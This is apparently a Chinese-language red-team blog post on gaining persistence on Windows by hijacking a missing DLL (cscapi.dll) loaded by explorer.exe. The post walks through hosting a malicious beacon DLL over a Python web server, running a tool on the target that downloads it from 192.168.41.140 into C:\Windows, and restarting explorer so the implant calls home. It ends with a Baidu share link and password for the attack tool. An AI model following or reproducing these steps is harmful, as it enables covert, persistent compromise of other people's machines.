权限维持-利用Explorer.exe来驻留目标

前言

Windows 文件资源管理器是 Windows 操作系统和默认桌面环境的图形文件管理实用程序。Windows 资源管理器是在 Windows 95 中引入的，它与进程explorer.exe相关联。由于这是一个本机 Windows 进程，它可以用于注入任意代码。缺少 DLL 的进程容易受到DLL 劫持。缺少的 DLL 的识别很简单，只需要进程监视器过滤 explorer.exe 以查找包含NAME NOT FOUND的结果。explorer.exe 缺少的 DLL 之一是 cscapi.dll

实操

我们需要一个web服务来给我们恶意的dll做载体，我们可以使用python如下：

python3 -m http.server 8080

我们使用工具将Explorer.exe与提供任意 DLL 的主机进行通信,检索并将 DLL 写入C:Windows路径,如下：

在目标主机执行

DLLHijacking.exe 192.168.41.140 8080 beacon.dll

我们可以看下dll是否已经写入完成：

只要目标主机进行重启，或者严格意义上说时explorer重启，我们的恶意dll都会被运行并且上线。

这里由于我的cs和受害机器为一台，重启太过于麻烦，所以我直接用命令重启explorer

taskkill /f /im explorer.exe && explorer.exe

工具获取

通过百度网盘分享的文件：dll.zip

链接：https://pan.baidu.com/s/1XWKdqwHIMbz-I8pkrVjUbA?pwd=urbc 提取码：urbc